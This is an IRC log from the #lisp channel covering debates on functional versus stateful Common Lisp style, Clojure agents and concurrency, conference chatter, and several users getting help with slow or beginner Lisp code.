research) 03:41:52 you forgot the "by default" 03:42:21 Fare: you mentioned slate earlier. How do you think Slate's handling of immutable slots makes things nice? 03:42:22 and I didn't see any cons -- since the mutable state is still there by default for you to use. 03:42:30 <_death> pkhuong: sure, I didn't say that there are no costs.. I just said that some things become more complex going the FP way 03:42:46 <_death> Fare: "by default" is irrelevant 03:42:46 _death: and things become more complex when you have to handle side-effects. 03:42:46 sykopomp, I'm not keen enough on Slate's handling of things. 03:43:13 Fare: keen as in you don't know much about slate, or keen as in "I don't like slate"? 03:43:14 _death, it's not. It means you can have explicit red flags when you need to think about state. 03:43:33 State is expensive in programmer mind share, too -- you have to think about the interactions. 03:43:54 sykopomp, I've never used it, only read a lot about it. 03:44:05 I admire Brian Rice, though. 03:45:00 _death: You gave a theoretic example, but no experimental data. While I agree that the current body of accumulated research is biased toward side-effectful languages, this should not blind us to the disadvantages of handling side-effects everywhere. 03:45:05 <_death> Fare: it's irrelevant because you want to have some style "by default", and so you should talk about that style, why it _should_ be the default.. it doesn't matter that you can always switch to that other style (which actually, seems rather problematic when it comes to a mature system) 03:46:34 <_death> pkhuong: sure, I am not dumb - I can recognize that functional style has a lot of advantages over stateful style, too 03:48:07 <_death> pkhuong: well, I didn't gather any experimental data beyond my anecdotal experience.. sorry 03:48:13 transformational style, data-flow style, pipes-on-the-unix-shell style. 03:48:26 If we were used to purity everywhere, we'd have the same complaint: it's much harder to guess when a compiler will be able to deduce enough information to optimise a code sequence correctly when the analyses are so much more complex due to side-effects. 03:48:29 _death, it decouples concerns, thus make it possible to think about one without having to think about the other, lightening the mental load on the programmer. 03:49:16 compositional style, concatenative style. I like any of these better than 'functional', which people take to mean 'golf my code into opacity'. 03:51:13 what's in a name? A rose by any other name would smell as sweet! 03:51:13 -!- tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has quit [] 03:52:18 (and the efficiency load on the implementer) 03:52:29 MrSpec [n=NoOne@82.177.125.6] has joined #lisp 03:53:23 *aja* thinks that 'Functional' in this context has become so ill-defined as to become useless. 03:54:02 <_death> I think that in _this_ context, it's quite clear that we talk about programming without side-effects 03:54:48 _death: Agreed. I meant in the general context of discussions about programming -- and was responding to ayrnieu's comment. 03:56:26 envi^home [n=envi@220.121.234.156] has joined #lisp 04:00:34 -!- manic12_ [i=user@c-98-222-75-188.hsd1.il.comcast.net] has quit [Read error: 110 (Connection timed out)] 04:02:45 -!- MrSpec [n=NoOne@82.177.125.6] has left #lisp 04:04:42 -!- stepnem [n=chatzill@topol.nat.praha12.net] has quit [No route to host] 04:05:52 someone recently used the term "cognitive burden" on my blog -- I liked it. 04:11:30 Presuming that's a response to the overburdening of the term "functional" as refers to programming, I've heard "cognitive load" used to the same effect and like both variants. 04:12:39 vanLiempt [n=Bevinvan@unaffiliated/liempt] has joined #lisp 04:13:00 -!- Liempt [n=Bevinvan@unaffiliated/liempt] has quit [Read error: 60 (Operation timed out)] 04:13:39 <_death> one of the reasons I like Common Lisp is that in my opinion it strikes a good balance with its support and idiomatic use for functional style and stateful style.. e.g., I like that the reader is interning, despite all the usual problems it introduces.. I like that I can usually come up with nice declarative designs if I want to.. etc. 04:14:35 <_death> I can see that there are benefits to making strings immutable by default.. but to me, it's no big deal that they aren't 04:16:35 <_death> so a question out of interest, Fare.. given that there are so many things that you don't seem to like about Common Lisp, why do you keep on using it? 04:18:34 Sukoshi`` [n=MuneNoKa@par0978.urh.uiuc.edu] has joined #lisp 04:24:40 _death, (1) I'm paid to use it. 04:25:02 (2) there are many things I like about Lisp, for all the warts. 04:25:11 (3) I cannot live without macros. 04:25:41 -!- HimitsuNaiyou` [n=MuneNoKa@par0978.urh.uiuc.edu] has quit [Read error: 60 (Operation timed out)] 04:25:48 Fare: why Common Lisp over PLT regarding 2 and 3? 04:26:04 -!- Lou_ [n=lat@125.162.205.66] has quit [Remote closed the connection] 04:26:09 <_death> well, Fare, I don't consider 1 to be a serious answer 04:26:30 _death: he works at ITA?... 04:26:57 <_death> sykopomp: I didn't mean that he was joking or something 04:27:34 <_death> I also wrote Lisp for work for the last couple of years 04:30:00 iceman_ [n=iceman@121.223.198.16] has joined #lisp 04:30:39 I care about dynamic evolution and persistence of code and data. 04:30:58 and for live systems vs cult-of-the-dead systems. 04:31:26 -!- azanar [n=azanar@edm1a.mavericklabel.com] has quit [] 04:32:14 <_death> Fare: I'd like to hear your answer to sykopomp's question.. PLT or any other Scheme.. 04:32:50 -!- ayrnieu [n=julian@c-76-30-82-6.hsd1.tx.comcast.net] has quit [Remote closed the connection] 04:33:40 which question? 04:34:17 sykopomp, (1) because I'm using CL at work, would like to make my use of it more productive 04:34:29 ayrnieu [n=julian@c-76-30-82-6.hsd1.tx.comcast.net] has joined #lisp 04:34:36 (2) because I kind of care for optimizing native code compilers 04:34:44 and concurrency 04:34:55 (3) PLT is vastly superior to CL in this regard. 04:35:49 (2) I like a lisp2 (see my comments in fare-matcher) 04:38:12 PLT is vastly superior in terms of concurrency? 04:38:43 ayrnieu, no, it's lagging behind 04:38:58 <_death> I took it to be in terms of Fare's aesthetic 04:38:59 (though it has creative ways of doing without) 04:41:13 (i.e. reactive programming, cooperative threading with continuations, etc.) 04:42:04 Fare: is there a particularly nice example of a concurrency library for CL you recommend? 04:42:28 sykopomp - try csp. 04:43:24 <_death> I liked Erlang's approach to concurrency.. but the CL libraries are rather weak here 04:43:24 -!- metasyntax [n=taylor@pool-71-127-85-87.aubnin.fios.verizon.net] has quit [""Nichts mehr.""] 04:44:16 death - yeah, it doesn't do CLer much good to think about Erlang [or concurrency from call/cc], but clojure shows that a doable-in-CL model can also be very pleasant. 04:44:35 <_death> ayrnieu: I suppose you're talking about STM? 04:45:03 I'm talking about the agents. 04:45:30 <_death> haven't looked into that 04:46:12 STM is just one way for agents to talk to each other. You've cl-stm, but that won't give you concurrent designs. 04:47:18 sykopomp, none that *I* care for, but plenty of them exist. 04:47:29 I'd like to develop Erlang-in-Lisp. 04:47:31 -!- Nshag [n=shagoune@Mix-Orleans-106-3-178.w193-248.abo.wanadoo.fr] has quit ["Quitte"] 04:48:02 death - an agent is some state that anyone can look at at any time, but that anyone can only change by passing a state-changing function to SEND or SEND-OFF . Both call the function with the state of the agent and any arguments given, with *agent* bound to the agent itself. SEND uses a fixed-size thread pool and SEND-OFF uses an expandable thread-pool. 04:48:28 -!- rvirding [n=rvirding@h252n3c1o1034.bredband.skanova.com] has left #lisp 04:48:41 death - the important details are over on clojure.org 04:49:17 ayrnieu: csp seems pretty simple. 04:49:53 I don't mean that as RTFM, but as "the details really are important, and they're on this page". Things like: agents can't await on other agents, messages to agents get delayed until STM or a function on an agent ends. 04:51:10 this feels pretty bare-boned at first, but I wrote a little actors library on top of it that made it feel a lot like Erlang. 04:51:14 <_death> ayrnieu: so the changes are atomic (that's due to STM I guess) and you can read the state without explicit locking 04:51:22 death - no, agents are separate from STM. 04:51:38 <_death> I meant implementation-wise 04:52:31 death - you can send a message and then read the agent and get the old value. To be sure that you get the value after your changes, you have to explicitly wait for them to happen. 04:52:50 azanar [n=azanar@67-134-197-171.dia.static.qwest.net] has joined #lisp 04:54:17 and all the messages are just interleaved. I'm pretty sure that STM isn't involved here even in the implementation. 04:54:21 <_death> ayrnieu: i.e. messages are asynchronous.. but how are they processed atomically 04:54:54 <_death> ayrnieu: I guess some lock-free mechanism, e.g. copy, modify, exchange 04:55:22 <_death> (where exchange is atomic) 04:55:33 that's what I'd think. You view the old value, a single pointer is set, and now you see the new value. 04:56:59 durka42 [n=durka@130.58.192.22] has joined #lisp 04:58:02 <_death> Scheme48 had some optimistic concurrency mechanism, that I thought was nice as I read about it 05:08:08 mikezor_ [n=mikael@c-75ec70d5.04-404-7570701.cust.bredbandsbolaget.se] has joined #lisp 05:11:14 -!- sohail [n=Sohail@unaffiliated/sohail] has quit [Read error: 110 (Connection timed out)] 05:12:02 sohail [n=Sohail@unaffiliated/sohail] has joined #lisp 05:12:17 -!- Mynch [i=Mynch@129.241.118.236] has left #lisp 05:13:55 -!- bombshelter13 [n=bombshel@209-161-230-178.dsl.look.ca] has quit ["If only your veins were filled with oil, the world would rush to your rescue!"] 05:16:14 easch_ [n=easch@purpletree.org] has joined #lisp 05:17:09 -!- easch [n=easch@purpletree.org] has quit [Read error: 104 (Connection reset by peer)] 05:17:27 XapoH [n=X@78.108.73.34] has joined #lisp 05:18:17 bombshelter13 [n=bombshel@209-161-230-178.dsl.look.ca] has joined #lisp 05:19:55 xtagon [n=xtagon@97-113-160-193.tukw.qwest.net] has joined #lisp 05:20:55 hi. can anyone help me with program written in common lisp? i can't understand the essence of algorithm :) 05:21:12 sure, ask a question about your program. 05:21:23 well, it's here: http://www.everfall.com/paste/id.php?srg6742z02nw 05:21:28 XapoH: and don't paste code into the chann-- ok good. 05:21:56 -!- mikezor [n=mikael@c-75ec70d5.04-404-7570701.cust.bredbandsbolaget.se] has quit [Read error: 110 (Connection timed out)] 05:22:03 gah 05:22:13 XapoH: sorry, but do you mind using lisppaste? 05:22:17 I'm having trouble... seeing stuff 05:22:33 yellow on white. That's like dark blue on black. 05:23:00 I think that's the wikipedia highlight scheme? 05:23:27 that code doesn't make sense to me 05:24:47 xapoh - we can comment on your code, but you'll more readily get answers if you ask a question. 05:25:18 ok. how to make this algorithm faster? :) 05:25:34 XapoH: what's it supposed to do? 05:25:43 i don't know XD 05:25:47 i'd make this code clearer 05:25:52 not faster 05:27:58 mrsolo [n=mrsolo@adsl-68-126-176-197.dsl.pltn13.pacbell.net] has joined #lisp 05:30:02 -!- tessier [n=treed@68.15.4.26] has left #lisp 05:30:35 how to use http://paste.lisp.org/new/lisp? it posts link to saved source code to target channel? 05:30:44 yes 05:31:14 sykopomp pasted "xapoh's code" at http://paste.lisp.org/display/76264 05:31:14 -!- existentialmonk [n=carcdr@64-252-129-7.adsl.snet.net] has quit [Read error: 104 (Connection reset by peer)] 05:31:18 ah. i'v visited it like http://paste.lisp.org/new/lisp> ^_^ 05:31:18 Please pardon my stupidity. sbcl: How do I compile a sbcl file? It seems that I need to compile as well as load the files - if I don't load file a, it won't compile file b which depends on file b. If I compile a, and then load the compiled file before proceeding to b, and a contains a defstruct, it complains about redefining of the same. 05:31:41 dgou [n=dgou@c-67-163-142-94.hsd1.pa.comcast.net] has joined #lisp 05:32:10 OTOH, if I compile a but don't load it before proceeding to b, it complains about undefined stuff (that was defined in a) 05:32:25 use ASDF 05:32:28 deego: have you tried defining a system? 05:32:36 minion: asdf? 05:32:37 asdf: asdf is Another System Definition Facility. http://www.cliki.net/asdf 05:33:39 -!- ia [n=ia@89.169.189.230] has quit [Connection timed out] 05:34:02 XapoH pasted "Unknown code" at http://paste.lisp.org/display/76265 05:34:05 XapoH: this looks suspiciously like homework 05:34:05 that's the source after i clear it a bit, but it still work toooooo slow. 05:34:41 ia [n=ia@89.169.189.230] has joined #lisp 05:34:53 Thanks, I will read the manual, etc. but in the meanwhile, there's got to be something very stupid I am doing 05:34:58 the code isn't even the same anymore. 05:35:08 consider using meaningful names, not single characters 05:35:14 There's no good way to compile two interdependent files A and B without defining a system? 05:35:17 but it does the same work, isn't it? 05:35:45 XapoH: you changed p altogether. Can you replace the single-letter names of variables and functions to something more descriptive? 05:36:05 what's e1/e2? what does f do? and p? how about s? 05:36:38 i can't. 05:36:57 why not? 05:37:03 ManateeLazyCat [n=user@222.212.132.114] has joined #lisp 05:37:20 or… i can… there will be unknown_function1, unknown_function2, argument1, argument2, etc :) 05:37:52 XapoH: understand your code first; people might be able to help you make it more efficient then. 05:37:53 XapoH: what is the purpose of your code? Or are you randomly slapping operations in there and seeing what happens? 05:38:07 -!- b4|hraban [n=b4@0brg.net] has quit ["Leaving"] 05:38:17 argh… i told you: i don't know what it is doing. 05:38:31 XapoH: why don't you know what it is doing? 05:38:54 'cos i have only this source and file with data to proceed. 05:39:14 ask the author 05:39:20 this sounds like homework 05:39:32 -!- iceman_ [n=iceman@121.223.198.16] has quit ["I am Iceman, Linux hero of time!"] 05:39:44 *sykopomp* goes to sleep 05:39:49 goodnight, #lisp 05:40:41 XapoH, also, you shouldn't be using IRC as root. 05:41:07 root? where? :) 05:41:13 or any program at all 05:41:25 jsoft [n=Administ@unaffiliated/jsoft] has joined #lisp 05:41:38 -!- Vicfred [n=Vicfred@189.228.45.219] has quit ["Leaving"] 05:41:53 Fare: it's his IRC name. 05:42:00 there's no root in my windows ^_^ 05:42:13 whatever. 05:42:34 mrsolo_ [n=mrsolo@adsl-68-126-176-197.dsl.pltn13.pacbell.net] has joined #lisp 05:47:52 2 years ago i studied lisp in univercity, but there were no SUCH monstrous algorithms - there were only some meaninful functions, working with lists etc. 05:48:48 *meaningful. they have some purpose. 05:49:22 XapoH, what's your point? 05:50:04 well, step #1: find out what it's doing. 05:50:49 about this code? it searches longest sequences of numbers with minimal sum or something like that. 05:51:00 if you don't have the author, you still have the code itself , TRACE , some inputs to it. 05:52:16 yangsx [n=yangsx@125.33.172.159] has joined #lisp 05:52:17 i traced it - too much output for not so big numbers (i mean k) 05:52:21 How do I do a 'clbuild preloaded', but in a slime (not lisp)? 05:52:42 and specify the core name as well, rather than just monster.core? 05:53:32 (I can directly call the debian's sbcl and its options, but then it can'tload clim any more and is not clbuild-aware) 05:54:12 -!- Fare [n=Fare@ita4fw1.itasoftware.com] has quit ["Leaving"] 05:54:54 there are repeating number sequences and they are growing (more copies) as algorithm goes forward - i think they make this program to work just infinitely when k=200. i don't know how to remove collisions :( 05:55:58 iceman_ [n=iceman@121.223.198.16] has joined #lisp 05:55:59 -!- durka42 [n=durka@130.58.192.22] has quit [] 06:05:25 -!- mrsolo_ [n=mrsolo@adsl-68-126-176-197.dsl.pltn13.pacbell.net] has quit [Read error: 54 (Connection reset by peer)] 06:09:33 -!- vanLiempt [n=Bevinvan@unaffiliated/liempt] has quit [Read error: 104 (Connection reset by peer)] 06:10:13 -!- ManateeLazyCat [n=user@222.212.132.114] has quit [Success] 06:12:56 -!- dreish [n=dreish@minus.dreish.org] has quit [] 06:15:48 -!- dihymo [n=dihymo@75-174-222-25.phnx.qwest.net] has quit [Read error: 110 (Connection timed out)] 06:15:57 -!- azanar [n=azanar@67-134-197-171.dia.static.qwest.net] has quit [] 06:16:39 dihymo [n=dihymo@97-124-44-35.phnx.qwest.net] has joined #lisp 06:19:53 -!- sysfault [n=exalted@p3m/member/sysfault] has quit [] 06:22:39 -!- bombshelter13 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07:45:01 -!- mrsolo [n=mrsolo@adsl-68-126-176-197.dsl.pltn13.pacbell.net] has quit ["This computer has gone to sleep"] 07:45:29 mrsolo [n=mrsolo@adsl-68-126-176-197.dsl.pltn13.pacbell.net] has joined #lisp 07:47:15 gemelen [n=shelta@shpd-78-36-164-131.static.vologda.ru] has joined #lisp 07:58:24 yasuto [n=yasuto@pon100-117.kcn.ne.jp] has joined #lisp 08:01:06 matley [n=matley@83.225.101.183] has joined #lisp 08:05:08 so I've looked at the forums on the ilc site, and I'm sort of glad I don't go 08:05:46 what don't you like about the forums? 08:05:50 masm [n=masm@a83-132-152-110.cpe.netcabo.pt] has joined #lisp 08:05:57 <_death> sour grapes 08:07:07 the reason would take an extra-irc amount of text to properly artuculate, as it has to do as much with the usual lispy whining stuff as it does with my accumulated antipathy towards most of the things going on in the collective mind of Cambridge, MA 08:07:33 cmm++ 08:07:41 Mostly for that last bit about Cambridge. ;- 08:07:43 *;-) 08:07:47 *Liet-Kynes* lives in Waltham. 08:08:16 Athas [n=athas@0x50a157d6.alb2nxx15.dynamic.dsl.tele.dk] has joined #lisp 08:08:20 hell, I'm not even an American :) 08:09:33 I did like that "Art of the Propagator" paper, though. a lot 08:09:48 <_death> cmm: interesting.. no one seemed to noticed it on reddit :) 08:10:12 _death: yeah 08:10:30 _death: I was alerted to it by Joe Marshall's blog 08:10:45 <_death> the "backward" propagation improving the estimates was a Aha! moment 08:11:01 mrsolo_ [n=mrsolo@adsl-68-126-176-197.dsl.pltn13.pacbell.net] has joined #lisp 08:11:04 <_death> and I liked that remark about contradiction -> chuckle :) 08:11:07 the TMS stuff is also pretty wild 08:11:20 and the general style, yes 08:11:56 Fufie [n=innocent@86.80-203-225.nextgentel.com] has joined #lisp 08:12:57 <_death> cmm: anyway, I think I can sympathize with your feeling with regards to ILC, but even with all that, I think any Lisper would want to go.. simply because of all the awesome people that'll be there 08:13:55 _death: the interesting part will _not_ be the talks, judging by my experience of being at two lisp-related events so far 08:14:08 <_death> I wouldn't expect it to 08:14:19 <_death> but then again, I was never at a Lisp conference or meeting 08:14:26 if you go, make sure to be in Pascal Costanza's vicinity :) 08:14:56 <_death> not going 08:15:24 (not only is he a wildly interesting guy on his own, he's also very visible/audible, which helps :)) 08:16:02 <_death> yeah, and he talks about code :) 08:18:31 <_death> cmm: that "Art of the Propagator" is the kind of research which I think used to be done but isn't really done nowadays (though I am not part of any academic setting, so I obviously see very narrowly).. and it's a shame if that's true 08:20:07 appletizer [i=user@82-32-123-8.cable.ubr04.hawk.blueyonder.co.uk] has joined #lisp 08:22:01 -!- Quadrescence is now known as eggplants` 08:22:47 -!- eggplants` is now known as Quadrescence 08:24:00 -!- nxt [n=nxt@77.207.25.109] has quit [Read error: 60 (Operation timed out)] 08:26:49 -!- envi^home [n=envi@220.121.234.156] has quit ["Leaving"] 08:26:56 envi^home [n=envi@220.121.234.156] has joined #lisp 08:29:16 _death: I'm not sure there is really a reason to get all nostalgic (only the good stuff gets remembered, after all, so it may be hard to judge whether it was more or less typical "back then"), but the paper in question is certainly, to my mind, what Real Research should look like :) 08:37:26 <_death> I wouldn't say that I'm being nostalgic, as I was never "there" :).. it's just that almost all the papers that I find, with that style and subject matter, were written like 30 years ago or more.. 08:39:40 perhaps that core group of AI lab-related people (Sussman, Steele etc.) is just impossible to imitate 08:41:19 <_death> perhaps, but I think that the fashion today is to write about type systems and such formalisms, more math-related 08:44:24 this is a very readable article (I'm not qualified to judge how true it is, only its readability) about today's CS academic situation: http://unqualified-reservations.blogspot.com/2007/08/whats-wrong-with-cs-research.html 08:44:33 long, though! 08:46:38 <_death> cmm: I think I read some of it back then 08:46:57 <_death> cmm: I didn't really like it 08:47:29 -!- yangsx [n=yangsx@125.33.172.159] has quit [Read error: 101 (Network is unreachable)] 08:47:30 Moldbug is... an acquired taste, certainly :) 08:53:48 daniel_ [i=daniel@unaffiliated/daniel] has joined #lisp 08:55:19 <_death> I guess I can agree with the gist, though 08:55:55 <_death> if my view is not terribly distorted ;) 09:00:33 cmm: I don't have a particular desire to go to ILC either 09:08:28 -!- daniel [i=daniel@unaffiliated/daniel] has quit [Read error: 110 (Connection timed out)] 09:10:32 winlow [n=jon@c-98-201-171-136.hsd1.tx.comcast.net] has joined #lisp 09:16:32 -!- sohail [n=Sohail@unaffiliated/sohail] has quit [Read error: 113 (No route to host)] 09:17:11 g'day 09:21:35 Davidbrcz [n=david@ANantes-151-1-116-173.w86-203.abo.wanadoo.fr] has joined #lisp 09:24:35 abeaumont [n=abeaumon@195.230.105.2] has joined #lisp 09:30:12 Fulax [n=cyprien@pdpc/supporter/student/cnicolas] has joined #lisp 09:37:59 nha [n=prefect@137-64.105-92.cust.bluewin.ch] has joined #lisp 09:39:12 stepnem [n=chatzill@topol.nat.praha12.net] has joined #lisp 09:40:42 -!- Davidbrcz [n=david@ANantes-151-1-116-173.w86-203.abo.wanadoo.fr] has quit [Read error: 54 (Connection reset by peer)] 09:42:16 Davidbrcz [n=david@ANantes-151-1-116-173.w86-203.abo.wanadoo.fr] has joined #lisp 09:53:12 dstatyvka [i=ejabberd@pepelaz.jabber.od.ua] has joined #lisp 09:55:41 dima2001 [n=dima2001@MOTx6pt3.swm.uni-mannheim.de] has joined #lisp 09:58:42 -!- MinnowTaur [n=chatzill@ip68-109-196-203.oc.oc.cox.net] has quit [Remote closed the connection] 10:02:32 antifuchs: around? 10:04:41 ejs [n=eugen@92.49.201.112] has joined #lisp 10:07:30 tcr [n=tcr@host145.natpool.mwn.de] has joined #lisp 10:09:08 Hmmm.. I think I broke my mcclim. (clim-listener:run-listener) all of a sudden does not pop me up a window. 10:10:49 Modius_ [n=Modius@adsl-68-91-194-65.dsl.austtx.swbell.net] has joined #lisp 10:10:56 It did.. then it didn't. But works in a fresh sbcl session. Any suggestions of what to look into to understand just why on earth it does not work in the other one? 10:11:56 -!- mrsolo_ [n=mrsolo@adsl-68-126-176-197.dsl.pltn13.pacbell.net] has quit [Read error: 110 (Connection timed out)] 10:14:15 Jabberwockey [n=Tumnus_@dslc-082-082-054-163.pools.arcor-ip.net] has joined #lisp 10:16:26 -!- dima2001 [n=dima2001@MOTx6pt3.swm.uni-mannheim.de] has quit [Read error: 110 (Connection timed out)] 10:19:26 Odin- [n=sbkhh@s121-302.gardur.hi.is] has joined #lisp 10:23:42 nirved [n=chatzill@nirved.ddns.playtime.bg] has joined #lisp 10:24:01 -!- nirved [n=chatzill@nirved.ddns.playtime.bg] has left #lisp 10:25:36 slash_ [n=Unknown@p4FF0B246.dip.t-dialin.net] has joined #lisp 10:27:43 -!- Modius [n=Modius@adsl-68-91-194-65.dsl.austtx.swbell.net] has quit [Read error: 110 (Connection timed out)] 10:32:50 -!- Odin- [n=sbkhh@s121-302.gardur.hi.is] has quit [] 10:41:32 -!- Davidbrcz [n=david@ANantes-151-1-116-173.w86-203.abo.wanadoo.fr] has quit ["Ex-Chat"] 10:53:20 -!- iceman_ [n=iceman@121.223.198.16] has quit ["I am Iceman, Linux hero of time!"] 10:58:32 The-Kenny [n=moritz@p5087D28B.dip.t-dialin.net] has joined #lisp 10:59:31 -!- PissedNumlock [i=resteven@igwe19.vub.ac.be] has quit [Remote closed the connection] 10:59:31 -!- rey_ [i=pdewacht@igwe19.vub.ac.be] has quit [Remote closed the connection] 11:03:15 -!- stepnem [n=chatzill@topol.nat.praha12.net] has quit [Read error: 60 (Operation timed out)] 11:06:49 -!- milanj [n=milan@93.86.189.91] has quit [Read error: 113 (No route to host)] 11:06:56 -!- mathrick [n=mathrick@users177.kollegienet.dk] has quit [Excess Flood] 11:07:22 mathrick [n=mathrick@users177.kollegienet.dk] has joined #lisp 11:10:21 Lou_ [n=lat@125.162.205.66] has joined #lisp 11:13:27 b4|hraban [n=b4@0brg.net] has joined #lisp 11:14:52 hkBst [n=hkBst@gentoo/developer/hkbst] has joined #lisp 11:20:48 r1nu- [n=debian~@ppp-94-68-29-91.home.otenet.gr] has joined #lisp 11:36:40 isismelting [n=jo@ip72-197-229-240.sd.sd.cox.net] has joined #lisp 11:36:51 hello there 11:38:14 -!- ace4016 [i=ace4016@cpe-76-168-248-118.socal.res.rr.com] has quit ["night"] 11:40:16 Hello 11:40:44 hi schme - how are you 11:40:47 rindolf [n=shlomi@bzq-219-139-216.static.bezeqint.net] has joined #lisp 11:41:29 Just fine, finally getting some time for code. How's isismelting ? 11:43:18 the channel? 11:43:53 or do you mean me 11:44:12 isismelting: I mean you. How are you? 11:44:59 i can't complain too much -- i think i've just recently become an intermediary lisp programmer...it is awkward 11:45:05 do you know what i mean at all? 11:45:49 To be honest I have not a slightest clue of what you mean :) 11:46:08 isismelting: What is awkward about it? 11:46:08 have you ever heard of a child having a "curse jar" 11:46:16 bbe [n=bbe@221.226.138.253] has joined #lisp 11:46:17 (and good morning everyone) 11:46:24 But reading it put me in a very good mood. Makes the whole channel feel like some bizarre AA-meeting combined with coming out of the closet :) 11:46:33 mornin' beach 11:46:37 & they have to put like $0.25 in it if they say "shit" and $0.50 for "f*ck" etc 11:46:51 shit I'd be fucking rich ;) 11:47:16 how rich would you be with a "cursed functions jar"? 11:47:50 i can't use setq/setf/set/push/pop/incf/decf etc without putting a dime in the jar 11:48:00 and no loop/do/dotimes/dolist etc without putting a nickel 11:48:25 & one penny for an unforeseen error 11:48:44 Hmm, why are those cursed? 11:49:16 zhivago - if you ask about one of them specifically i'd be able to tell you 11:49:43 Why is incf 'cursed'? 11:50:04 it is destructive 11:50:08 it's not functional? 11:50:21 there's no place it should be used that i can think of 11:50:28 mind you -- 11:50:55 Ok, so your real problem is a failure of imagination ... 11:50:57 this is temporary - i know everything has its place - but i'd love to see a good example of where one actually HAS to use incf for a good reason 11:51:12 it could be, i'm open to that, zhivago -- explain? 11:51:32 (incf (gethash key table 0)) 11:51:49 let me stop you there 11:51:59 truth be told, i cannot even understand what a hash table is yet. 11:52:06 :-/ 11:52:56 How would you do do without do anyway? 11:53:11 recursion 11:53:23 that sounds nasty 11:53:40 it might be vostibackle - 11:53:48 i REALLY do not know what i'm doing 11:53:50 Nothing wrong with recursion. 11:54:02 Then shut up about 'cursed functions' and get a clue. 11:54:10 but, I mean, recursion just to do "1 to 10"? 11:54:10 Then you can whinge in an educated fashion. 11:54:25 vosti: What about it? Why do you think that's an issue? 11:54:40 I wouldn't want to have to do that every time I wanted to loop something 11:54:45 zhivago, you could be a little more supportive 11:54:59 shmho [n=user@58.142.15.103] has joined #lisp 11:55:07 bad_alloc [n=marvin@HSI-KBW-091-089-218-154.hsi2.kabel-badenwuerttemberg.de] has joined #lisp 11:55:18 the point of my "cursed functions jar" is to break habits and learn new methods to become a better programmer 11:55:42 It would seem to me that haskell manages to implement hash tables without destruction. 11:56:03 But I'm all for destruction. 11:57:04 schme & zhivago - would either of you please take a quick look at this short utility file i'm working on & tell me if i'm an idiot or not? 11:57:19 i promise it's short - it's okay if you don't want to though obviously 11:57:28 (it's on the web on my text wiki) 11:57:41 isismelting: Imagine you want to do maybe something like... well I dunno. (incf (memory-address 542454)) . 11:58:28 Dunno how you would do such a thing in pure fp. Pull out the RAM module and put in a new one with the correct value stored? 11:58:50 schme: i'm trying to imagine that but i don't even know what that line does 11:59:02 isismelting: Well there is no MEMORY-ADDRESS function. 11:59:09 hi, i've just tried to install slime for emacs 22 (X11), but I cannot finde the .emacs file. it's not in my homedir or anywhere else. has the X11 got a different file? (shell absed emacs isn't installed) 11:59:14 One would thread a state variable into (memory-address 542454 state) either by hand, or using some monady construct. 11:59:25 oh - i'm sorry i can understand i think 11:59:38 isismelting: But I pretend it's there and what it does is modify some memory location. 12:00:08 isismelting: Anyway. Maybe put a link to whatever you wanted people to look at :) 12:00:25 http://www.meerkat.cc/ra/index.php?article=jo & "utilities for parsing" 12:00:50 i'm trying to write a simple eliza thing is what. 12:01:01 Indent your code, then try again. 12:01:12 Yes. I can't read it :) 12:01:17 are you serious? 12:01:26 -!- XapoH [n=X@78.108.73.34] has quit ["Woe to you on Earth and Sea for the Devil sends the Beast with wrath because he knows the time is short. That he who hath und] 12:01:34 clieck the "edit" pencil at the top of the page 12:01:39 you'll see it indented. 12:01:41 isismelting: If there is one thing this channel is serious about, then it is indentation. 12:01:44 Ok. 12:01:59 i completely understand - my wiki just sucks -- sorry hehe 12:02:01 isismelting: The problem here is that you're making us very lazy people do a lot of work :) 12:02:10 lisppaste: url 12:02:10 To use the lisppaste bot, visit http://paste.lisp.org/new/lisp and enter your paste. 12:02:11 mklist is redundant. 12:02:16 oh 12:02:32 schme - please don't waste your time looking at my beginner crap if you don't feel like it 12:02:58 (defun mklist (x) (if (listp x) x (list x))) 12:03:00 i just am at a stage where i'm not quite a beginner yet not anywhere near advanced so i have no way of really checking to see if i'm on track. 12:03:19 isismelting: No, you misunderstand me. It's not that I don't want to look at it. It is just that having to click the url should be enough. Here I have to click the url, click something else, and then click something else :) 12:03:26 Zhivago - i'll never have to write an append1. 12:03:36 Zh... - is that bad idea? 12:03:49 Random-elt is misnamed -- that is random-nth. 12:04:22 Rewrite it in terms of elt. Also your code hides errors. 12:04:24 Zhivago - thanks, that is good advice, i should have noticed that 12:04:46 How can you tell if random-elt failed? 12:05:28 how should it fail - how do you mean? 12:05:48 (i feel like such a bugger right now by the way) 12:06:12 I am not interested in your sexual fantasies. 12:06:28 Gosh that was *funny 12:06:30 * :) 12:06:34 Imagine that I call (random-elt x) 12:06:52 If that produces nil, what does it tell me about x? 12:07:40 it's either not a list or has selected an element "nil" from a list ? 12:07:43 -!- lyte [n=lyte@unaffiliated/neerolyte] has quit [Remote closed the connection] 12:07:46 killobyte [n=killobyt@cpe-74-73-29-56.nyc.res.rr.com] has joined #lisp 12:09:22 i think you're driving at something else - i'm really trying to get what you're saying... 12:10:02 So, what benefit do you get from your 'error checking' in random-elt? 12:10:12 Can you tell if one of those errors was an error? 12:11:13 Not unless you know your list doesn't contain nil. 12:11:20 oh -- no, not unless i had an "elimiate-nils" function 12:11:22 which i don't 12:11:29 Which means that your error checking, far from doing the right things, simply conceals errors. 12:11:48 Better to have nth explode than do that. 12:12:14 i absolutely see what you mean - i was focusing on really unlikely scenarios rather than on practical error-checking 12:12:38 -!- bad_alloc [n=marvin@HSI-KBW-091-089-218-154.hsi2.kabel-badenwuerttemberg.de] has quit ["You shoot yourself in somebody else's foot."] 12:13:50 -!- rindolf [n=shlomi@bzq-219-139-216.static.bezeqint.net] has quit [Read error: 104 (Connection reset by peer)] 12:14:08 thanks Zhivago - i'm trying to implement error-checking & to think of functions kind of as cond - cons - recurse things to avoid bad code & errors but i see that i have just done something useless there 12:14:35 -!- ejs [n=eugen@92.49.201.112] has quit ["Leaving"] 12:14:39 i really appreciate your input & wish i could thank you appropriately 12:14:58 -!- bbe [n=bbe@221.226.138.253] has quit ["Leaving"] 12:15:14 bbe [n=bbe@221.226.138.253] has joined #lisp 12:15:45 You can thank me appropriate by not producing incoherent gibberish like "to think of functions kind of as cond - cons - recurse things to avoid bad code & errors" 12:16:08 Write properly. Punctuate your sentences. Imagine that what you say matters. 12:17:41 Appropriately, even. 12:19:08 isismelting: Also, for the love of all things holy (ie. schme, and nothing else), drop the "oh great beings, will you please look at my lowly code that is utterly useless" :P 12:19:45 KingAztech_ [n=KingAzte@79-76-253-124.dynamic.dsl.as9105.com] has joined 